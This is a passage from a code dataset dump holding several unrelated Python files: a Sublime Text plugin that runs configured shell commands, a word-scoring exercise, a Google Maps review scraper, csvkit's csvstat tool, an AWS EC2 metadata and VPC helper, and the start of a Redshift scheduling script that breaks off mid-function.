os.path\nname\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=os.path.basename(os.path.abspath(os.path.dirname(__file__)))\nname\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=name.replace('.sublime-package','')\nsettings_file\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t='%s.sublime-settings'%name\nparams_file\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t='%s_params.json'%name\ngrammar_file\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t='Packages/%s/%s.tmLanguage'%(name,name)\nstatuserr\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=True\nrayt\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=None\nsyntax\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=''\ncmds\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t={}\nparams_header\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=\"// Command parametters are saved here.\\n\"\ninpanel\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=None\nwin\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=None\nvar\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=sublime.active_window().extract_variables()\n\ndef plugin_loaded():\n\tload_cmds()\n\ndef load_settings():\n\tglobal settings,params,settings_file,params_file\n\tsettings=sublime.load_settings(settings_file)\n\tparams=sublime.load_settings(params_file)\n\n\"\"\"Get a setting from current view or global settings object.\n\t@param\t{string}\t\t\t\t\tk\t\t\t\t\t\t\t\t\t\tThe setting to read.\n\t@param\t{mixed}\t\t\t\t\t\td\t\t\t\t\t\t\t\t\t\tThe default value to return if setting is\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tnon-existent in the view or global settings object.\n\t@return\t{mixed}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tThe setting value or the default one.\n\"\"\"\ndef get_setting(k,d=None):\n\tglobal settings\n\ttry:\n\t\tsettings\n\texcept NameError:\n\t\tload_settings()\n\treturn settings.get(k,d)\n\ndef load_cmds():\n\tglobal cmds\n\tcmds=get_setting('cmd')\n\tcmd_custom=get_setting('cmd_custom')\n\tif(settings.has('cmd') and settings.has('cmd_custom')):\n\t\tfor c in cmd_custom:\n\t\t\tcmds[c]=cmd_custom[c]\n\n\nclass RAYTEvListener(sublime_plugin.EventListener):\n\tmonitored_extensions={'py':True,'sublime-settings':True,'json':True}\n\tmonitored_user_text='User.'\n\tshift_by_user_dot_length=5 # len(monitored_user_text)\n\tdef GetPluginNameFromPath(self,_path=''):\n\t\tglobal name,var\n\t\t_file=_path.split('\\\\')[-1]\n\t\t_ext=_file.split('.')[-1]\n\t\t_index=_path.find(name)\n\t\t_is_plugin_file=(_index>0)\n\t\t_pack=var.get('packages',sublime.packages_path())\n\t\tif(_path.find(_pack)>-1):\n\t\t\t_plugin=_path[len(_pack)+1:len(_path)]\n\t\telse:\n\t\t\t_plugin=_path\n\t\tif(self.monitored_extensions.get(_ext,None)):\n\t\t\tif(_ext=='py'):\n\t\t\t\t_plugin=_path[_index:(-1*(len(_ext)+1))]\n\t\t\t\t_plugin_user=_path[_index-self.shift_by_user_dot_length:(-1*(len(_ext)+1))]\n\t\t\t\tif(_plugin_user.startswith(self.monitored_user_text)):\n\t\t\t\t\t_plugin=self.monitored_user_text+_plugin\n\t\t\t\treturn(_plugin,_is_plugin_file)\n\t\t\telse:\n\t\t\t\treturn(_plugin,_is_plugin_file)\n\t\treturn(None,_is_plugin_file)\n\tdef on_post_save_async(self,_view):\n\t\t_file=_view.file_name()\n\t\t(_plugin,_is_plugin_file)=self.GetPluginNameFromPath(_file)\n\t\tif(_is_plugin_file and (_plugin!=None)):\n\t\t\tif(_plugin.endswith('py')):\n\t\t\t\tsublime_plugin.reload_plugin(_plugin)\n\t\t\telif(_plugin.endswith('sublime-settings') or _plugin.endswith('json')):\n\t\t\t\tload_cmds()\n\nclass raytFN(sublime_plugin.TextCommand):\n\tdef apply_settings(self,s):\n\t\tfor k,v in s.items():\n\t\t\tsetattr(self,k,v)\n\tdef run(self,edit,**s):\n\t\tglobal statuserr\n\t\tself.apply_settings(s)\n\t\tself.txt=self.view.substr(sublime.Region(0,self.view.size()))\n\t\ttry:\n\t\t\tself.txt=self.prep_cmd(self.cmd)\n\t\texcept Exception as ex:\n\t\t\tif statuserr:\n\t\t\t\tsublime.status_message(str(ex))\n\t\t\treturn None\n\t\t\traise\n\t\tif self.txt is None:\n\t\t\tself.txt=''\n\t\tself.txt=self.txt.translate(str.maketrans('','',chr(0x0d)))\n\t\tself.view.run_command('rayt_out',{'txt':self.txt})\nclass raytOutCommand(raytFN):\n\ttxt=''\n\tdef run(self,edit,**s):\n\t\tglobal rayt\n\t\tself.apply_settings(s)\n\t\trayt.run_command(\"append\",{\"characters\":self.txt})\nclass raytExecCommand(raytFN):\n\tcmd=[]\n\tshell=False\n\texpected_returns=[0]\n\tsubprocess_args={}\n\tdef exec_cmd(self,cmd):\n\t\targs=self.subprocess_args or {}\n\t\targs['shell']=self.shell\n\t\tif self.view.file_name():\n\t\t\tdirpath=os.path.dirname(self.view.file_name())\n\t\telse:\n\t\t\tdirpath=os.getcwd()\n\t\tcmd=subprocess.Popen(cmd,\n\t\t\tstdin=subprocess.PIPE,\n\t\t\tstdout=subprocess.PIPE,\n\t\t\tstderr=subprocess.PIPE,\n\t\t\tcwd=dirpath,**args)\n\t\t(stdout,stderr)=cmd.communicate(self.txt.encode('utf-8'))\n\t\treturn(stdout,stderr,cmd.returncode)\n\tdef prep_cmd(self,cmd):\n\t\tglobal statuserr\n\t\ttry:\n\t\t\tstdout,stderr,status=self.exec_cmd(cmd)\n\t\t\tif not self.expected_returns or status in self.expected_returns:\n\t\t\t\tsublime.status_message(\"Successfully executed!\")\n\t\t\t\tif isinstance(stdout,str):\n\t\t\t\t\tstdout=str(stdout)\n\t\t\t\telse:\n\t\t\t\t\tstdout=stdout.decode('utf-8')\n\t\t\t\treturn stdout\n\t\texcept OSError as e:\n\t\t\tstdout,stderr,status=(None,str(e),e.errno)\n\t\tif isinstance(stderr,str):\n\t\t\tstderr=str(stderr)\n\t\telse:\n\t\t\tstderr=stderr.decode('utf-8')\n\t\tstderr=stderr.translate(str.maketrans('','',chr(0x0d)))\n\t\tif statuserr:\n\t\t\tsublime.status_message('Error %i executing command [%s]:%s'%(status,self.get_command_as_str(),stderr.replace(\"\\n\",\" \")))\n\t\trayt.run_command('rayt_out',{'txt':('Error %i executing command [%s]:\\n%s\\n'%(status,self.get_command_as_str(False),stderr))})\n\t\treturn None\n\tdef get_command_as_str(self,short=True):\n\t\tc=self.cmd\n\t\tif isinstance(c,str):\n\t\t\treturn c\n\t\tif short:\n\t\t\treturn c[0]\n\t\treturn ' '.join(c)\nclass raytCmdCommand(sublime_plugin.TextCommand):\n\tdef exec(self):\n\t\tglobal statuserr,rayt,params,inpanel,win\n\t\tload_cmds()\n\t\tview=self.view\n\t\tparam=None\n\t\tif(isinstance(inpanel,sublime.View) and (inpanel.name()=='rayt_param_input')):\n\t\t\tparam=inpanel.substr(sublime.Region(0,inpanel.size()))\n\t\t\tview=inpanel.from_view\n\t\t\tinpanel.close()\n\t\t\tinpanel=None\n\t\t\twin=None\n\t\tif(view.window() is not None):\n\t\t\twin=view.window()\n\t\trayt=win.create_output_panel('rayt_out')\n\t\tif(win is not None):\n\t\t\twin.run_command('show_panel',{'panel':'output.rayt_out'})\n\t\tself.syntax=view.settings().get(\"syntax\")\n\t\tif((param is not None) and (isinstance(param,str)) and (params.get(self.syntax) is not param)):\n\t\t\tparams.set(self.syntax,param)\n\t\t\tsublime.save_settings(params_file)\n\t\tself.cmd=\"\"\n\t\tif(win is not None):\n\t\t\ttry:\n\t\t\t\tself.cmd=cmds[self.syntax]\n\t\t\t\tself.cmd=sublime.expand_variables(self.cmd,win.extract_variables())\n\t\t\texcept:\n\t\t\t\tmsg=(\"No command is set for syntax:\"+self.syntax)\n\t\t\t\tif statuserr:\n\t\t\t\t\tsublime.status_message(msg)\n\t\t\t\trayt.run_command('rayt_out',{'txt':msg})\n\t\t\t\treturn None\n\t\t\tparam=param or params.get(self.syntax)\n\t\t\tif param is not None and len(param):\n\t\t\t\tself.cmd+=' '+param\n\t\t\t\t# self.cmd=self.cmd.replace(\"{filename}\",\"\")\n\t\t\tview.run_command('rayt_exec',{'cmd':self.cmd,'shell':True})\n\tdef run(self,edit):\n\t\tself.exec()\nclass raytWparamCmdCommand(raytCmdCommand):\n\tinput_message\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=\"Parameters:\"\n\tdefault_input\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t=\"\"\n\tprocess_panel_input\t\t\t\t\t\t\t\t\t\t\t\t\t\t=lambda s,i:''\n\tdef on_panel_change(self,val):\n\t\tif not val and self.erase:\n\t\t\tself.undo()\n\t\t\tself.erase=False\n\t\t\treturn\n\t\tdef inner_insert():\n\t\t\tself.view.run_command(self.name(),dict(panel_input=val))\n\t\tself.undo()\n\t\tsublime.set_timeout(inner_insert,0)\n\tdef undo(self):\n\t\tif self.erase:\n\t\t\tsublime.set_timeout(lambda:self.view.run_command('undo'),0)\n\tdef on_panel_done(self,val):\n\t\tself.view.run_command('rayt_cmd')\n\tdef run(self,edit,panel_input=None,**kwargs):\n\t\tglobal inpanel\n\t\tif panel_input is None:\n\t\t\tself.syntax=self.view.settings().get(\"syntax\")\n\t\t\tparam=params.get(self.syntax)\n\t\t\tself.default_input=''\n\t\t\tif param is not None:\n\t\t\t\tself.default_input=param\n\t\t\tself.edit=edit\n\t\t\tself.setup(edit,self.view,**kwargs)\n\t\t\tself.erase=False\n\t\t\tinpanel=self.view.window().show_input_panel(\n\t\t\t\tself.input_message,\n\t\t\t\tself.default_input,\n\t\t\t\tself.on_panel_done,\n\t\t\t\tself.on_panel_change,\n\t\t\t\tself.undo)\n\t\t\tinpanel.from_view=self.view\n\t\t\tinpanel.set_name('rayt_param_input');\n\t\t\tinpanel.sel().clear()\n\t\t\tinpanel.sel().add(sublime.Region(0,inpanel.size()))\n\t\t\tself.run_on_input(edit,self.view,panel_input)\n\t\t\tif grammar_file:\n\t\t\t\tinpanel.set_syntax_file(grammar_file)\n\t\t\t\tpanel_setting=inpanel.settings().set\n\t\t\t\tpanel_setting('line_numbers',\t\t\t\t\t\t\tFalse)\n\t\t\t\tpanel_setting('gutter',\t\t\t\t\t\t\t\t\t\tFalse)\n\t\t\t\tpanel_setting('auto_complete',\t\t\t\t\t\tFalse)\n\t\t\t\tpanel_setting('tab_completion',\t\t\t\t\t\tFalse)\n\t\telse:\n\t\t\tself.run_on_input(edit,self.view,panel_input)\n\tdef setup(self,edit,view,**kwargs):\n\t\tpass\n\tdef run_on_input(self,edit,view,panel_input):\n\t\tview=self.view\n\t\tcmd_input=self.process_panel_input(panel_input) or ''\n\t\ttry:\n\t\t\tself.erase=self.run_command(edit,view,cmd_input) is not False\n\t\texcept:\n\t\t\tpass\n","repo_name":"ggets/Sublime_RunAsYouType","sub_path":"runasyoutype.py","file_name":"runasyoutype.py","file_ext":"py","file_size_in_byte":8404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"15178587732","text":"import math\n\nword = input()\nvowels = [\"a\", \"e\", \"i\", \"o\", \"u\", \"y\", \"A\", \"E\", \"I\", \"O\", \"U\", \"Y\"]\npoints = 0\ntotal_points = 0\nstring_word = \"\"\n\nwhile word != \"End of words\":\n\n for letter in word:\n points += ord(letter)\n\n if word[0] in vowels:\n points *= len(word)\n else:\n points /= math.floor(len(word))\n\n if total_points < points:\n total_points = points\n string_word = word\n\n points = 0\n word = input()\n\nprint(f\"The most powerful word is {string_word} - {total_points}\")\n","repo_name":"anachevv/SoftUni","sub_path":"Python/SoftUni PB/Exercises/PB Online Exams/PB Exams 6 and 7 July 2019 COMPLETED/the_most_powerful_word.py","file_name":"the_most_powerful_word.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"8121644499","text":"import googlemaps\nimport time\nimport numpy as np\nimport math\nimport selenium\nimport re\nimport pickle\n\nfrom bs4 import BeautifulSoup\n\nimport selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nGRT = 0.85 # distorsione terrestre a milano\nROF = 1.25 # radar overflow\nAK = pickle.load(open(\"C:/Users/Martin/OneDrive/onlyfans.pk\", \"rb\"))\n\n_gmaps = googlemaps.Client(key=AK)\n_driver = None\n\nbase_uri = 'https://www.google.com/maps/'\nres_uri = 'place/?q=place_id:'\ncute_types = ['meal_delivery', 'meal_takeaway', 'restaurant', 'bar', 'cafe', ]\nred_types = ['delivery_takeaway', 'restaurant', 'bar_cafe', ]\ncute_attr = ['name', 'place_id', 'price_level', 'rating', 'user_ratings_total', ]\nren_attr = ['place_name', 'place_id', 'price_level', 'avg_stars', 'place_popularity', ]\n\ndef breath(deep=2.0):\n time.sleep(deep)\n\ndef to_radio(meters):\n return (0.000009)*2*meters/math.sqrt(3)\n\ndef to_int(s, default=0):\n tmp = re.sub(\"[^0-9]\", \"\", s)\n return int(tmp) if tmp else default\n\ndef get_radars(meters, south_west, north_east, **kwargs):\n radar_spot = []\n radio = to_radio(meters)\n s2n = south_west[0]\n odd = False\n while s2n < north_east[0]:\n w2e = GRT*3*radio*odd + south_west[1]\n while w2e < north_east[1]:\n radar_spot.append((s2n,w2e))\n w2e += GRT*6*radio\n s2n += radio\n odd = not odd\n return radar_spot\n\ndef get_places(margs):\n global _gmaps\n all_places = []\n response = _gmaps.places_nearby(**margs)\n all_places += response['results']\n while ('next_page_token' in response and response['next_page_token']):\n breath()\n try:\n response = _gmaps.places_nearby(page_token = response['next_page_token'])\n except:\n print('unhandled api burned')\n else:\n all_places += response['results']\n return all_places\n\ndef clean_place(obj):\n x = {k:obj.get(k, None) for k in cute_attr}\n for t in cute_types:\n x[t] = t in obj['types']\n \n # LEGACY EDIT\n x['delivery_takeaway'] = x['meal_delivery'] or x['meal_takeaway']\n x['bar_cafe'] = x['bar'] or x['cafe']\n \n return x\n\ndef get_reviews(pid, max_reviews=1000):\n global _driver\n soup = None\n try:\n _driver.get(base_uri+res_uri+pid)\n\n menu_bt = WebDriverWait(_driver, 7).until(EC.element_to_be_clickable((By.XPATH, '//button[@data-value=\\'Sort\\']')))\n menu_bt.click()\n\n recent_rating_bt = WebDriverWait(_driver, 7).until(EC.element_to_be_clickable((By.XPATH, '//li[@data-index=\\'1\\']')))\n recent_rating_bt.click()\n\n last_len = 0\n sentinel = 0\n for i in range(max_reviews//10):\n breath(1)\n scrollable_div = _driver.find_element_by_css_selector('div.section-layout.section-scrollbox.scrollable-y.scrollable-show')\n _driver.execute_script('arguments[0].scrollTop = arguments[0].scrollHeight', scrollable_div)\n\n soup = BeautifulSoup(_driver.page_source, 'html.parser').find_all('div', class_='section-review-content')\n\n if len(soup) == last_len:\n sentinel += 1\n else:\n sentinel = 0\n if sentinel > 2:\n break\n last_len = len(soup)\n except:\n print('raised exception ignored on', pid)\n return soup\n\ndef clean_review(r):\n x = {\n 'id': r.find('button',class_='section-review-action-menu')['data-review-id'],\n 'user_name': r.find('div', class_='section-review-title').find('span').text,\n 'stars': to_int(r.find('span', class_='section-review-stars')['aria-label']),\n 'value_date': r.find('span', class_='section-review-publish-date').text.split()[0],\n 'unit_date': r.find('span', class_='section-review-publish-date').text.split()[1],\n }\n \n x['days_ago'] = get_time(**x)\n \n try:\n x['text'] = ' '.join(r.find('span', class_='section-review-text').text.split())\n except:\n x['text'] = ''\n \n try:\n sub = r.find('div', class_='section-review-subtitle')\n spn = sub.findAll('span')\n except:\n x['user_popularity'] = 1\n x['is_player'] = 0\n else:\n if len(spn) > 1:\n x['user_popularity'] = to_int(spn[1].text, 1)\n x['is_player'] = 1 if len(sub.find_all(attrs={\"style\" : \"display:none\"})) else 0\n return x\n\ndef get_time(value_date, unit_date, **kwargs):\n word2days = {\n 'second': 1,\n 'minute': 1,\n 'hour': 1,\n 'day': 1,\n 'week': 7,\n 'month': 30,\n 'year': 365,\n }\n if unit_date in word2days:\n return word2days[unit_date]\n else:\n return to_int(value_date)*word2days[unit_date[:-1]]\n \ndef init_driver():\n global _driver\n _driver = webdriver.Chrome()\n _driver.get(base_uri)\n WebDriverWait(_driver, 7).until(EC.frame_to_be_available_and_switch_to_it((By.XPATH, \"//iframe\")))\n agree = WebDriverWait(_driver, 7).until(EC.element_to_be_clickable((By.XPATH, '//*[@id=\"introAgreeButton\"]/span/span'))) \n agree.click()\n _driver.switch_to.default_content()\n \ndef kill_driver():\n global _driver\n _driver.quit()\n \ndef sample_viewport(meters, viewport):\n places_db = []\n for t in cute_types:\n for r in get_radars(meters, **viewport):\n margs = {\n 'location':r,\n 'radius':meters*ROF, \n 'type':t,\n }\n places_db += get_places(margs)\n return places_db\n\ndef scrape_reviews(pid_list, min_reviews):\n reviews_db = dict()\n init_driver()\n for pid in pid_list:\n rw_soup = get_reviews(pid, min_reviews)\n reviews_db[pid] = []\n if rw_soup:\n for r in rw_soup:\n reviews_db[pid].append(str(r))\n kill_driver()\n return reviews_db\n\ndef purify_data(places_db):\n data = [clean_place(p) for p in places_db]\n data = [i for i in data if i['user_ratings_total'] or i['rating']]\n tmp = dict()\n \n for i in data:\n pid = i['place_id']\n if pid not in tmp:\n tmp[pid] = []\n tmp[pid].append(i)\n\n for k,v in tmp.items():\n x = dict()\n for i in v:\n x = {**x, **i}\n tmp[k] = x\n\n return list(tmp.values())\n\ndef enrich_data(data, reviews_db):\n for i in data:\n i['reviews'] = []\n for r in reviews_db[i['place_id']]:\n i['reviews'].append(clean_review(BeautifulSoup(r)))\n return data","repo_name":"ranieri-unimi/starred-COVID-grembi-2021","sub_path":".ipynb_checkpoints/grembi-checkpoint.py","file_name":"grembi-checkpoint.py","file_ext":"py","file_size_in_byte":6611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41310630389","text":"with open(\"calories.txt\") as f:\n lines = f.readlines()\n\nres = []\nfor line in lines:\n res.append(line.replace(\"\\n\", \"\"))\n\ncurr_max = 0\nnew_max = 0\n\n\nfor i in range(len(res)):\n if res[i] != \"\":\n curr_max += int(res[i])\n else:\n if curr_max > new_max:\n new_max = curr_max\n curr_max = 0\n\nprint(new_max)\n","repo_name":"kris524/advent-of-code-python-2022","sub_path":"day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"24539887253","text":"#!/usr/bin/env python\n\nimport datetime\nfrom types import NoneType\nimport math\n\nfrom csvkit import table\nfrom csvkit.cli import CSVKitUtility\nfrom heapq import nlargest\nfrom operator import itemgetter\n\nMAX_UNIQUE = 5\nMAX_FREQ = 5\nOPERATIONS =('min', 'max', 'sum', 'mean', 'median', 'stdev', 'nulls', 'unique', 'freq', 'len')\n\nclass CSVStat(CSVKitUtility):\n description = 'Print descriptive statistics for each column in a CSV file.'\n override_flags = ['l']\n\n def add_arguments(self):\n self.argparser.add_argument('-y', '--snifflimit', dest='snifflimit', type=int,\n help='Limit CSV dialect sniffing to the specified number of bytes. Specify \"0\" to disable sniffing entirely.')\n self.argparser.add_argument('-c', '--columns', dest='columns',\n help='A comma separated list of column indices or names to be examined. Defaults to all columns.')\n self.argparser.add_argument('--max', dest='max_only', action='store_true',\n help='Only output max.')\n self.argparser.add_argument('--min', dest='min_only', action='store_true',\n help='Only output min.')\n self.argparser.add_argument('--sum', dest='sum_only', action='store_true',\n help='Only output sum.')\n self.argparser.add_argument('--mean', dest='mean_only', action='store_true',\n help='Only output mean.')\n self.argparser.add_argument('--median', dest='median_only', action='store_true',\n help='Only output median.')\n self.argparser.add_argument('--stdev', dest='stdev_only', action='store_true',\n help='Only output standard deviation.')\n self.argparser.add_argument('--nulls', dest='nulls_only', action='store_true',\n help='Only output whether column contains nulls.')\n self.argparser.add_argument('--unique', dest='unique_only', action='store_true',\n help='Only output unique values.')\n self.argparser.add_argument('--freq', dest='freq_only', action='store_true',\n help='Only output frequent values.')\n self.argparser.add_argument('--len', dest='len_only', action='store_true',\n help='Only output max value length.')\n\n def main(self):\n tab = table.Table.from_csv(\n self.args.file,\n snifflimit=self.args.snifflimit,\n column_ids=self.args.columns,\n zero_based=self.args.zero_based,\n no_header_row=self.args.no_header_row,\n **self.reader_kwargs\n )\n\n operations = [op for op in OPERATIONS if getattr(self.args, op + '_only')]\n\n if len(operations) > 1:\n self.argparser.error('Only one statistic argument may be specified (mean, median, etc).')\n\n for c in tab:\n values = sorted(filter(lambda i: i is not None, c))\n\n stats = {} \n\n # Output a single stat\n if len(operations) == 1:\n op = operations[0]\n stat = getattr(self, 'get_%s' % op)(c, values, {})\n\n # Formatting\n if op == 'unique':\n stat = len(stat)\n elif op == 'freq':\n stat = ', '.join([(u'\"%s\": %s' % (unicode(k), count)).encode('utf-8') for k, count in stat])\n stat = '{ %s }' % stat\n\n if len(tab) == 1:\n self.output_file.write(unicode(stat))\n else:\n self.output_file.write(u'%3i. %s: %s\\n' % (c.order + 1, c.name, stat))\n # Output all stats\n else:\n for op in OPERATIONS:\n stats[op] = getattr(self, 'get_%s' % op)(c, values, stats)\n\n self.output_file.write((u'%3i. %s\\n' % (c.order + 1, c.name)).encode('utf-8'))\n\n if c.type == None:\n self.output_file.write(u'\\tEmpty column\\n')\n continue\n \n self.output_file.write(u'\\t%s\\n' % c.type)\n self.output_file.write(u'\\tNulls: %s\\n' % stats['nulls'])\n \n if len(stats['unique']) <= MAX_UNIQUE and c.type is not bool:\n uniques = [unicode(u) for u in list(stats['unique'])]\n self.output_file.write((u'\\tValues: %s\\n' % u', '.join(uniques)).encode('utf-8'))\n else:\n if c.type not in [unicode, bool]:\n self.output_file.write(u'\\tMin: %s\\n' % stats['min'])\n self.output_file.write(u'\\tMax: %s\\n' % stats['max'])\n\n if c.type in [int, float]:\n self.output_file.write(u'\\tSum: %s\\n' % stats['sum'])\n self.output_file.write(u'\\tMean: %s\\n' % stats['mean'])\n self.output_file.write(u'\\tMedian: %s\\n' % stats['median'])\n self.output_file.write(u'\\tStandard Deviation: %s\\n' % stats['stdev'])\n\n self.output_file.write(u'\\tUnique values: %i\\n' % len(stats['unique']))\n\n if len(stats['unique']) != len(values):\n self.output_file.write(u'\\t%i most frequent values:\\n' % MAX_FREQ)\n for value, count in stats['freq']:\n self.output_file.write((u'\\t\\t%s:\\t%s\\n' % (unicode(value), count)).encode('utf-8'))\n\n if c.type == unicode:\n self.output_file.write(u'\\tMax length: %i\\n' % stats['len'])\n\n if not operations:\n self.output_file.write(u'\\n')\n self.output_file.write(u'Row count: %s\\n' % tab.count_rows())\n\n def get_min(self, c, values, stats):\n if c.type == NoneType:\n return None\n\n v = min(values)\n\n if v in [datetime.datetime, datetime.date, datetime.time]:\n return v.isoformat()\n \n return v\n\n def get_max(self, c, values, stats):\n if c.type == NoneType:\n return None\n\n v = max(values)\n\n if v in [datetime.datetime, datetime.date, datetime.time]:\n return v.isoformat()\n \n return v\n\n def get_sum(self, c, values, stats):\n if c.type not in [int, float]:\n return None\n\n return sum(values)\n\n def get_mean(self, c, values, stats):\n if c.type not in [int, float]:\n return None\n\n if 'sum' not in stats:\n stats['sum'] = self.get_sum(c, values, stats)\n\n return float(stats['sum']) / len(values)\n\n def get_median(self, c, values, stats):\n if c.type not in [int, float]:\n return None\n\n return median(values)\n\n def get_stdev(self, c, values, stats):\n if c.type not in [int, float]:\n return None\n\n if 'mean' not in stats:\n stats['mean'] = self.get_mean(c, values, stats)\n\n return math.sqrt(sum(math.pow(v - stats['mean'], 2) for v in values) / len(values)) \n\n def get_nulls(self, c, values, stats):\n return c.has_nulls()\n\n def get_unique(self, c, values, stats):\n return set(values) \n\n def get_freq(self, c, values, stats):\n return freq(values) \n\n def get_len(self, c, values, stats):\n if c.type != unicode:\n return None\n\n return c.max_length()\n\ndef median(l):\n \"\"\"\n Compute the median of a list.\n \"\"\"\n length = len(l)\n\n if len(l) % 2 == 1:\n return l[((length + 1) / 2) - 1]\n else:\n a = l[(length / 2) - 1]\n b = l[length / 2]\n return (float(a + b)) / 2 \n\ndef freq(l, n=MAX_FREQ):\n \"\"\"\n Count the number of times each value occurs in a column.\n \"\"\"\n count = {}\n\n for x in l:\n s = unicode(x)\n if count.has_key(s):\n count[s] += 1\n else:\n count[s] = 1\n\n # This will iterate through dictionary, return N highest\n # values as (key, value) tuples.\n top = nlargest(n, count.iteritems(), itemgetter(1))\n\n return top\n\n\ndef launch_new_instance():\n utility = CSVStat()\n utility.main()\n \nif __name__ == \"__main__\":\n launch_new_instance()\n\n","repo_name":"danpalmer/open-data-quality-dashboard","sub_path":"tools/csvkit/csvkit/utilities/csvstat.py","file_name":"csvstat.py","file_ext":"py","file_size_in_byte":8107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"31050168846","text":"import boto3\nimport requests\n\n\ndef get_token():\n response = requests.put(\n \"http://169.254.169.254/latest/api/token\",\n headers={\"X-aws-ec2-metadata-token-ttl-seconds\": \"21600\"}\n )\n return response.text\n\n\ndef get_instance_detail():\n token = get_token()\n response = requests.get(\n \"http://169.254.169.254/latest/dynamic/instance-identity/document\",\n headers={\"X-aws-ec2-metadata-token\": token}\n )\n return response.json()\n\n\ndef get_instance_vpc(instance_id, region):\n ec2 = boto3.resource('ec2', region_name=region)\n instance = ec2.Instance(instance_id)\n return instance.vpc.id\n\n\ndef get_instances_from_vpc(vpc_id, region):\n ec2 = boto3.client('ec2', region_name=region)\n response = ec2.describe_instances(Filters=[\n {\n 'Name': 'vpc-id',\n 'Values': [vpc_id]\n },\n ])\n return response\n","repo_name":"shitikovkirill/aws-cloud-instance-list","sub_path":"cloud_instance_list/aws.py","file_name":"aws.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37279931856","text":"import os\nimport csv\nimport boto3\nimport datetime as dt \nfrom dateutil import tz\nfrom forecast_base import ForecastBase\n\nclass ScheduleRedshift(ForecastBase):\n def __init__(self, context):\n super().__init__(context)\n self.REDSHIFT_CLUSTER_ID = os.environ[\"REDSHIFT_CLUSTER_ID\"]\n self.CLOUDWATCH_EVENT_ROLE_ARN = os.environ[\"CLOUDWATCH_EVENT_ROLE_ARN\"]\n self.RESUME_LAMBDA_ARN = os.environ[\"RESUME_LAMBDA_ARN\"]\n self.PAUSE_LAMBDA_ARN = os.environ[\"PAUSE_LAMBDA_ARN\"]\n self.THRESHOLD = float(os.environ[\"THRESHOLD\"])\n self.RESUME_REDSHIFT_EVENT_NAME = os.environ[\"RESUME_REDSHIFT_EVENT_NAME\"]\n self.PAUSE_REDSHIFT_EVENT_NAME = os.environ[\"PAUSE_REDSHIFT_EVENT_NAME\"]\n \n self.current_ts_utc = dt.datetime.utcnow().replace(tzinfo=tz.gettz(\"UTC\")) # current timestamp in utc\n self.current_ts_local = self.current_ts_utc.astimezone(tz.gettz(self.TIMEZONE)) # current timestamp in local time based on timezone\n self.resume_scheduled = False\n self.pause_scheduled = False\n self.resume_ts_utc = self.current_ts_utc # placeholder\n self.pause_ts_utc = self.current_ts_utc # placeholder\n \n self.events_client = boto3.client(\"events\")\n self.forecast_query_client = boto3.client(\"forecastquery\")\n self.s3_client = boto3.client(\"s3\")\n\n def schedule_redshift(self):\n try:\n # forecasts = self.get_forecast_values(forcast_arn=self.get_forecast_arn(), item_filter_value=self.REDSHIFT_CLUSTER_ID)\n forecasts = self.get_forecast_values(bucket_name=self.FORECAST_EXPORT_BUCKET)\n \n self.schedule_resume(forecasts=forecasts) # always schedule the resume first\n self.schedule_pause(forecasts=forecasts) \n \n except Exception as e:\n self.logger.error(\"Exception: {0}\".format(e))\n \n def schedule_resume(self, forecasts = []):\n \"\"\"Schedule when to resume the redshift cluster with the forecasts passed\n \n Keyword Arguments:\n forecasts {list} -- results from a get_forecast_values api call in a csv file via forecast export job to s3 bucket (default: {[]})\n \"\"\"\n for i in range(1, len(forecasts)):\n item = forecasts[i].decode(\"utf-8\").split(\",\") # convert from bytes to unicode, list objects: item[0] : item id; item[1] : timestamp; item[2] : mean cpu utilisation \n item_ts_local = dt.datetime.strptime(item[1], \"%Y-%m-%dT%H:%M:%SZ\") # timestamp from forecast\n item_ts_local = item_ts_local.replace(tzinfo=tz.gettz(self.TIMEZONE)) # add timezone to timestamp\n item_ts_utc = item_ts_local.astimezone(tz.gettz(\"UTC\")) # convert time to UTC, use this to schedule\n ts_diff_utc = item_ts_utc - self.current_ts_utc # schedule event after current timestamp\n \n if float(item[2]) > self.THRESHOLD and self.resume_scheduled == False and ts_diff_utc.total_seconds() >= 0: \n resume_ts_utc = item_ts_utc - dt.timedelta(minutes = 30) # resume redshift earlier\n self.resume_scheduled = True\n \n if self.resume_scheduled:\n self.schedule_event(event_name=self.RESUME_REDSHIFT_EVENT_NAME, target_arn=self.RESUME_LAMBDA_ARN, event_role_arn=self.CLOUDWATCH_EVENT_ROLE_ARN, minute=resume_ts_utc.minute, hour=resume_ts_utc.hour)\n 